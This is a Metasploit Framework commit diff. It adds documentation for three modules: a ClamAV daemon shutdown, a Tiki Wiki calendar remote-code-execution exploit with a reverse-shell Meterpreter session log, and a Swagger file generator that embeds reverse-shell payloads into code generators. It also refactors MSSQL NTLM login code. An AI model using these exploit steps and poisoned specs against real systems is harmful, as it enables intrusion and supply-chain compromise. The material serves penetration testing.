Merge branch 'master' into feature/MS-1688/net-ssh-cleanup

bug/bundler_fix
David Maloney 2016-06-28 15:00:35 -05:00
commit ee2d1d4fdc
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
62 changed files with 1360 additions and 4808 deletions

View File

@ -1,7 +1,7 @@
PATH PATH
remote: . remote: .
specs: specs:
metasploit-framework (4.12.8) metasploit-framework (4.12.10)
actionpack (~> 4.2.6) actionpack (~> 4.2.6)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -29,12 +29,14 @@ PATH
rb-readline-r7 rb-readline-r7
recog recog
redcarpet redcarpet
rex-java
rex-powershell rex-powershell
rex-random_identifier rex-random_identifier
rex-registry rex-registry
rex-text rex-text
rex-zip rex-zip
robots robots
rubyntlm
rubyzip rubyzip
sqlite3 sqlite3
tzinfo tzinfo
@ -211,6 +213,7 @@ GEM
recog (2.0.21) recog (2.0.21)
nokogiri nokogiri
redcarpet (3.3.4) redcarpet (3.3.4)
rex-java (0.1.2)
rex-powershell (0.1.0) rex-powershell (0.1.0)
rex-random_identifier rex-random_identifier
rex-text rex-text

View File

@ -0,0 +1,91 @@
ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other
malicious threats.
clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release
0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being
able to shut down the service.
## Vulnerable Application
To install ClamAV from Ubuntu:
```
$ sudo apt-get install clamav clamav-daemon
$ sudo freshclam
```
You might also need to add the following to /etc/clamav/clamd.conf:
```
# TCP port address.
# Default: no
TCPSocket 3310
# TCP address.
# By default we bind to INADDR_ANY, probably not wise.
# Enable the following to provide some degree of protection
# from the outside world.
# Default: no
TCPAddr 0.0.0.0
# Maximum length the queue of pending connections may grow to.
# Default: 15
MaxConnectionQueueLength 30
# Clamd uses FTP-like protocol to receive data from remote clients.
# If you are using clamav-milter to balance load between remote clamd daemons
# on firewall servers you may need to tune the options below.
# Close the connection when the data size limit is exceeded.
# The value should match your MTA's limit for a maximum attachment size.
# Default: 10M
StreamMaxLength 55M
# Limit port range.
# Default: 1024
#StreamMinPort 30000
# Default: 2048
#StreamMaxPort 32000
# Maximum number of threads running at the same time.
# Default: 10
MaxThreads 50
# Waiting for data from a client socket will timeout after this time (seconds).
# Value of 0 disables the timeout.
# Default: 120
ReadTimeout 300
# Waiting for a new job will timeout after this time (seconds).
# Default: 30
#IdleTimeout 60
# Maximum depth directories are scanned at.
# Default: 15
#MaxDirectoryRecursion 20
```
And finally, start the service:
```
$ sudo /etc/init.d/clamav-daemon start
```
## Options
clamav_control comes with two actions:
**VERSION**
This is the default action, and shows you the ClamAV version. Output example:
```
msf auxiliary(clamav_control) > run
[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016
```
**SHUTDOWN**
This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify
whether is service is down or not.

View File

@ -0,0 +1,103 @@
## Vulnerable Application
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
**Of note, there is some discussion if 14.2 is vuln or not.**
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
2. The linked app Exploit-DB has is 14.2.
3. Its verified on Exploit-DB.
vs
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
### Creating A Testing Environment
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
2. `apt-get install php-xml`
3. Normal php install at that point!
4. After install, login as admin:admin
5. Go to the Control Panels
6. Click Features
7. Enable Calendar under Main feature
8. Click Apply
#### Permissions
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
1. Log in as admin
2. From the top dropdown select permissions
3. Check Anonymous near the top
4. Click Assign
## Verification Steps
1. Install the software as documented above
2. Start msfconsole
3. Do: `use exploit/linux/http/tiki_calendar_exec`
4. Do: `set rhost 10.10.10.10`
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
6. Do: `set payload php/bind_perl`
7. Do: `set verbose true`
8. Do: `check`
```
[*] Attempting Login
[+] Login Successful!
[+] 10.10.10.10:80 The target is vulnerable.
```
9. Do: `exploit`
10. You should get a shell
```
[*] Started reverse TCP handler on 10.10.10.10:4444
[*] Attempting Login
[+] Login Successful!
[*] Sending malicious calendar view packet
[*] Sending stage (33721 bytes) 10.10.10.10.190
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
```
## Options
**PASSWORD**
Password is set at first login. Default for admin is 'admin'.
## Scenarios
Example running against unauthenticated calendar v14.1
```
msf > use exploit/linux/http/tiki_calendar_exec
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
rhost => 192.168.2.190
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
targeturi => /t14_1/
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
lhost => 192.168.2.229
msf exploit(tiki_calendar_exec) > set verbose true
verbose => true
msf exploit(tiki_calendar_exec) > set username ''
username =>
msf exploit(tiki_calendar_exec) > exploit
[*] Started reverse TCP handler on 192.168.2.229:4444
[*] Sending malicious calendar view packet
[*] Sending stage (33721 bytes) to 192.168.2.190
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
meterpreter > sysinfo
Computer : tikiwiki
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
Meterpreter : php/php
meterpreter >
```

View File

@ -0,0 +1,115 @@
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
## Verification Steps
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
1. Start msfconsole
2. Start a callback handler listening for a the appropriate payload (e.g.)
```
use exploit/multi/handler
set PAYLOAD nodejs/shell_reverse_tcp
set LHOST 192.168.68.138
set LPORT 4444
run
```
3. Pick a target
## Targets
**NodeJS**
This attack injects a payload into javascript by terminating a URL path string.
```
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD nodejs/shell_reverse_tcp
set INFO_VERSION "1.0.0"
set SWAGGER_HOST "localhost"
run
```
**PHP**
This attack injects a payload into PHP multiline comment area.
```
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD php/meterpreter/reverse_tcp
set SWAGGER_HOST "localhost"
run
```
**ruby**
This attack injects a payload into ruby multiline comment area.
```
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD ruby/shell_reverse_tcp
set SWAGGER_HOST "localhost"
run
```
**Java**
This attack injects a payload into Java by terminating a URL path string.
```
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD java/jsp_shell_reverse_tcp
set SWAGGER_HOST "localhost"
run
```
## Quick Test
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
## Scenarios
Effective against services with either these dependencies
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
* public API [generator.swagger.io](http://generator.swagger.io/)
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
**Possible Attack approach.**
1. Research the target environment and component dependencies.
2. Setup appropriate payload callback listener.
3. generate the appropriate swagger document with associated MS payload (see above for examples)
**Against a webservice (2nd order attack / blind code-gen)**
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
5. Wait for callback handler event.
**Against a code repository or public hosting of spec**
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
5. Wait for callback handler event.

View File

@ -9,11 +9,6 @@ module Metasploit
extend ActiveSupport::Concern extend ActiveSupport::Concern
include Metasploit::Framework::Tcp::Client include Metasploit::Framework::Tcp::Client
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_UTILS = Rex::Proto::NTLM::Utils
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
# Encryption # Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off. ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on. ENCRYPT_ON = 0x01 #Encryption is available and on.
@ -21,23 +16,23 @@ module Metasploit
ENCRYPT_REQ = 0x03 #Encryption is required. ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type # Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement # Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status # Status
STATUS_NORMAL = 0x00 STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01 STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02 STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
# #
@ -55,14 +50,14 @@ module Metasploit
idx = 0 idx = 0
pkt = '' pkt = ''
pkt_hdr = '' pkt_hdr = ''
pkt_hdr = [ pkt_hdr = [
TYPE_TDS7_LOGIN, #type TYPE_TDS7_LOGIN, #type
STATUS_END_OF_MESSAGE, #status STATUS_END_OF_MESSAGE, #status
0x0000, #length 0x0000, #length
0x0000, # SPID 0x0000, # SPID
0x01, # PacketID (unused upon specification 0x01, # PacketID (unused upon specification
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
0x00 #Window 0x00 #Window
] ]
pkt << [ pkt << [
@ -85,18 +80,18 @@ module Metasploit
sname = Rex::Text.to_unicode( rhost ) sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db ) dname = Rex::Text.to_unicode( db )
ntlm_options = {
:signing => false,
:usentlm2_session => use_ntlm2_session,
:use_ntlmv2 => use_ntlmv2,
:send_lm => send_lm,
:send_ntlm => send_ntlm
}
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) ntlm_client = ::Net::NTLM::Client.new(
user,
pass,
workstation: workstation_name,
domain: domain_name,
)
type1 = ntlm_client.init_context
# SQL 2012, at least, does not support KEY_EXCHANGE
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
ntlmsspblob = type1.serialize
idx = pkt.size + 50 # lengths below idx = pkt.size + 50 # lengths below
@ -137,9 +132,9 @@ module Metasploit
pkt << ntlmsspblob pkt << ntlmsspblob
# Total packet length # Total packet length
pkt[0,4] = [pkt.length].pack('V') pkt[0, 4] = [pkt.length].pack('V')
pkt_hdr[2] = pkt.length + 8 pkt_hdr[2] = pkt.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt pkt = pkt_hdr.pack("CCnnCC") + pkt
@ -147,64 +142,38 @@ module Metasploit
# has a strange behavior that differs from the specifications # has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
if tdsencryption == true if tdsencryption == true
proxy = TDSSSLProxy.new(sock) proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl proxy.setup_ssl
resp = proxy.send_recv(pkt) resp = proxy.send_recv(pkt, 15, false)
else else
resp = mssql_send_recv(pkt) resp = mssql_send_recv(pkt, 15, false)
end end
# Get default data # Strip the TDS header
begin resp = resp[3..-1]
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) type3 = ntlm_client.init_context([resp].pack('m'))
# a domain.length < 3 will hit this type3_blob = type3.serialize
rescue NTLM_XCEPT::NTLMMissingChallenge
return false
end
challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
#netbios name
default_name = blob_data[:default_name] || ''
#netbios domain
default_domain = blob_data[:default_domain] || ''
#dns name
dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
dns_domain_name = blob_data[:dns_domain_name] || ''
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
spnopt = {:use_spn => send_spn, :name => rhost}
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
domain_name, default_name, default_domain,
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
spnopt, ntlm_options)
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
# Create an SSPIMessage # Create an SSPIMessage
idx = 0 idx = 0
pkt = '' pkt = ''
pkt_hdr = '' pkt_hdr = ''
pkt_hdr = [ pkt_hdr = [
TYPE_SSPI_MESSAGE, #type TYPE_SSPI_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status STATUS_END_OF_MESSAGE, #status
0x0000, #length 0x0000, #length
0x0000, # SPID 0x0000, # SPID
0x01, # PacketID 0x01, # PacketID
0x00 #Window 0x00 #Window
] ]
pkt_hdr[2] = ntlmssp.length + 8 pkt_hdr[2] = type3_blob.length + 8
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp pkt = pkt_hdr.pack("CCnnCC") + type3_blob
if self.tdsencryption == true if self.tdsencryption == true
resp = mssql_ssl_send_recv(pkt,proxy) resp = mssql_ssl_send_recv(pkt, proxy)
proxy.cleanup proxy.cleanup
proxy = nil proxy = nil
else else
@ -283,7 +252,7 @@ module Metasploit
pkt << dname pkt << dname
# Total packet length # Total packet length
pkt[0,4] = [pkt.length].pack('V') pkt[0, 4] = [pkt.length].pack('V')
# Embedded packet lengths # Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
@ -294,7 +263,7 @@ module Metasploit
if self.tdsencryption == true if self.tdsencryption == true
proxy = TDSSSLProxy.new(sock) proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl proxy.setup_ssl
resp = mssql_ssl_send_recv(pkt,proxy) resp = mssql_ssl_send_recv(pkt, proxy)
proxy.cleanup proxy.cleanup
proxy = nil proxy = nil
else else
@ -304,7 +273,7 @@ module Metasploit
end end
info = {:errors => []} info = {:errors => []}
info = mssql_parse_reply(resp,info) info = mssql_parse_reply(resp, info)
disconnect disconnect
@ -316,17 +285,17 @@ module Metasploit
# Parse an "environment change" TDS token # Parse an "environment change" TDS token
# #
def mssql_parse_env(data, info) def mssql_parse_env(data, info)
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0,len) buff = data.slice!(0, len)
type = buff.slice!(0,1).unpack('C')[0] type = buff.slice!(0, 1).unpack('C')[0]
nval = '' nval = ''
nlen = buff.slice!(0,1).unpack('C')[0] || 0 nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
oval = '' oval = ''
olen = buff.slice!(0,1).unpack('C')[0] || 0 olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
info[:envs] ||= [] info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval } info[:envs] << { :type => type, :old => oval, :new => nval }
@ -337,7 +306,7 @@ module Metasploit
# Parse a "ret" TDS token # Parse a "ret" TDS token
# #
def mssql_parse_ret(data, info) def mssql_parse_ret(data, info)
ret = data.slice!(0,4).unpack('N')[0] ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret info[:ret] = ret
info info
end end
@ -346,7 +315,7 @@ module Metasploit
# Parse a "done" TDS token # Parse a "done" TDS token
# #
def mssql_parse_done(data, info) def mssql_parse_done(data, info)
status,cmd,rows = data.slice!(0,8).unpack('vvV') status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows } info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info info
end end
@ -355,11 +324,11 @@ module Metasploit
# Parse an "error" TDS token # Parse an "error" TDS token
# #
def mssql_parse_error(data, info) def mssql_parse_error(data, info)
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0,len) buff = data.slice!(0, len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2) emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '') emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
@ -370,14 +339,14 @@ module Metasploit
# Parse an "information" TDS token # Parse an "information" TDS token
# #
def mssql_parse_info(data, info) def mssql_parse_info(data, info)
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0,len) buff = data.slice!(0, len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2) emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '') emsg.gsub!("\x00", '')
info[:infos]||= [] info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info info
end end
@ -386,8 +355,8 @@ module Metasploit
# Parse a "login ack" TDS token # Parse a "login ack" TDS token
# #
def mssql_parse_login_ack(data, info) def mssql_parse_login_ack(data, info)
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0,len) _buff = data.slice!(0, len)
info[:login_ack] = true info[:login_ack] = true
end end
@ -398,7 +367,7 @@ module Metasploit
info[:errors] = [] info[:errors] = []
return if not data return if not data
until data.empty? until data.empty?
token = data.slice!(0,1).unpack('C')[0] token = data.slice!(0, 1).unpack('C')[0]
case token case token
when 0x81 when 0x81
mssql_parse_tds_reply(data, info) mssql_parse_tds_reply(data, info)
@ -434,14 +403,14 @@ module Metasploit
info[:colnames] ||= [] info[:colnames] ||= []
# Parse out the columns # Parse out the columns
cols = data.slice!(0,2).unpack('v')[0] cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx| 0.upto(cols-1) do |col_idx|
col = {} col = {}
info[:colinfos][col_idx] = col info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0,2).unpack('v')[0] col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0,2).unpack('v')[0] col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0,1).unpack('C')[0] col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type] case col[:type]
when 48 when 48
@ -458,8 +427,8 @@ module Metasploit
when 34 when 34
col[:id] = :image col[:id] = :image
col[:max_size] = data.slice!(0,4).unpack('V')[0] col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0,2).unpack('v')[0] col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36 when 36
@ -467,31 +436,31 @@ module Metasploit
when 38 when 38
col[:id] = :int col[:id] = :int
col[:int_size] = data.slice!(0,1).unpack('C')[0] col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127 when 127
col[:id] = :bigint col[:id] = :bigint
when 165 when 165
col[:id] = :hex col[:id] = :hex
col[:max_size] = data.slice!(0,2).unpack('v')[0] col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173 when 173
col[:id] = :hex # binary(2) col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0,2).unpack('v')[0] col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231,175,167,239 when 231, 175, 167, 239
col[:id] = :string col[:id] = :string
col[:max_size] = data.slice!(0,2).unpack('v')[0] col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0,2).unpack('v')[0] col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0,2).unpack('v')[0] col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0,1).unpack('C')[0] col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else else
col[:id] = :unknown col[:id] = :unknown
end end
col[:msg_len] = data.slice!(0,1).unpack('C')[0] col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if(col[:msg_len] and col[:msg_len] > 0) if(col[:msg_len] and col[:msg_len] > 0)
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
@ -517,28 +486,28 @@ module Metasploit
case col[:id] case col[:id]
when :hex when :hex
str = "" str = ""
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535) if(len > 0 and len < 65535)
str << data.slice!(0,len) str << data.slice!(0, len)
end end
row << str.unpack("H*")[0] row << str.unpack("H*")[0]
when :string when :string
str = "" str = ""
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535) if(len > 0 and len < 65535)
str << data.slice!(0,len) str << data.slice!(0, len)
end end
row << str.gsub("\x00", '') row << str.gsub("\x00", '')
when :datetime when :datetime
row << data.slice!(0,8).unpack("H*")[0] row << data.slice!(0, 8).unpack("H*")[0]
when :rawint when :rawint
row << data.slice!(0,4).unpack('V')[0] row << data.slice!(0, 4).unpack('V')[0]
when :bigint when :bigint
row << data.slice!(0,8).unpack("H*")[0] row << data.slice!(0, 8).unpack("H*")[0]
when :smallint when :smallint
row << data.slice!(0, 2).unpack("v")[0] row << data.slice!(0, 2).unpack("v")[0]
@ -551,8 +520,8 @@ module Metasploit
when :image when :image
str = '' str = ''
len = data.slice!(0,1).unpack('C')[0] len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0,len) if (len and len > 0) str = data.slice!(0, len) if (len and len > 0)
row << str.unpack("H*")[0] row << str.unpack("H*")[0]
when :int when :int
@ -560,7 +529,7 @@ module Metasploit
raw = data.slice!(0, len) if (len and len > 0) raw = data.slice!(0, len) if (len and len > 0)
case len case len
when 0,255 when 0, 255
row << '' row << ''
when 1 when 1
row << raw.unpack("C")[0] row << raw.unpack("C")[0]
@ -573,7 +542,7 @@ module Metasploit
when 8 when 8
row << raw.unpack('VV')[0] # XXX: missing high dword row << raw.unpack('VV')[0] # XXX: missing high dword
else else
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end end
else else
info[:errors] << "unknown column type: #{col.inspect}" info[:errors] << "unknown column type: #{col.inspect}"
@ -595,7 +564,7 @@ module Metasploit
pkt_data = "" pkt_data = ""
pkt_hdr = [ pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status STATUS_END_OF_MESSAGE, #status
0x0000, #length 0x0000, #length
@ -604,7 +573,7 @@ module Metasploit
0x00 #Window 0x00 #Window
] ]
version = [0x55010008,0x0000].pack("Vv") version = [0x55010008, 0x0000].pack("Vv")
# if manually set, we will honour # if manually set, we will honour
if tdsencryption == true if tdsencryption == true
@ -615,45 +584,45 @@ module Metasploit
instoptdata = "MSSQLServer\0" instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2) threadid = "\0\0" + Rex::Text.rand_text(2)
idx = 21 # size of pkt_data_token idx = 21 # size of pkt_data_token
pkt_data_token << [ pkt_data_token << [
0x00, # Token 0 type Version 0x00, # Token 0 type Version
idx , # VersionOffset idx , # VersionOffset
version.length, # VersionLength version.length, # VersionLength
0x01, # Token 1 type Encryption 0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength 0x01, # EncryptionLength
0x02, # Token 2 type InstOpt 0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength instoptdata.length, # InstOptLength
0x03, # Token 3 type Threadid 0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength 0x04, # ThreadIdLength
0xFF 0xFF
].pack("CnnCnnCnnCnnC") ].pack("CnnCnnCnnCnnC")
pkt_data << pkt_data_token pkt_data << pkt_data_token
pkt_data << version pkt_data << version
pkt_data << encryption pkt_data << encryption
pkt_data << instoptdata pkt_data << instoptdata
pkt_data << threadid pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8 pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt_data pkt = pkt_hdr.pack("CCnnCC") + pkt_data
resp = mssql_send_recv(pkt) resp = mssql_send_recv(pkt)
idx = 0 idx = 0
while resp and resp[0,1] != "\xff" and resp.length > 5 while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0,5) token = resp.slice!(0, 5)
token = token.unpack("Cnn") token = token.unpack("Cnn")
idx -= 5 idx -= 5
if token[0] == 0x01 if token[0] == 0x01
@ -663,7 +632,7 @@ module Metasploit
end end
end end
if idx > 0 if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0] encryption_mode = resp[idx, 1].unpack("C")[0]
else else
raise RunTimeError, "Unable to parse encryption req. "\ raise RunTimeError, "Unable to parse encryption req. "\
"from server during prelogin" "from server during prelogin"
@ -701,8 +670,8 @@ module Metasploit
idx = 0 idx = 0
while resp and resp[0,1] != "\xff" and resp.length > 5 while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0,5) token = resp.slice!(0, 5)
token = token.unpack("Cnn") token = token.unpack("Cnn")
idx -= 5 idx -= 5
if token[0] == 0x01 if token[0] == 0x01
@ -711,7 +680,7 @@ module Metasploit
end end
end end
if idx > 0 if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0] encryption_mode = resp[idx, 1].unpack("C")[0]
else else
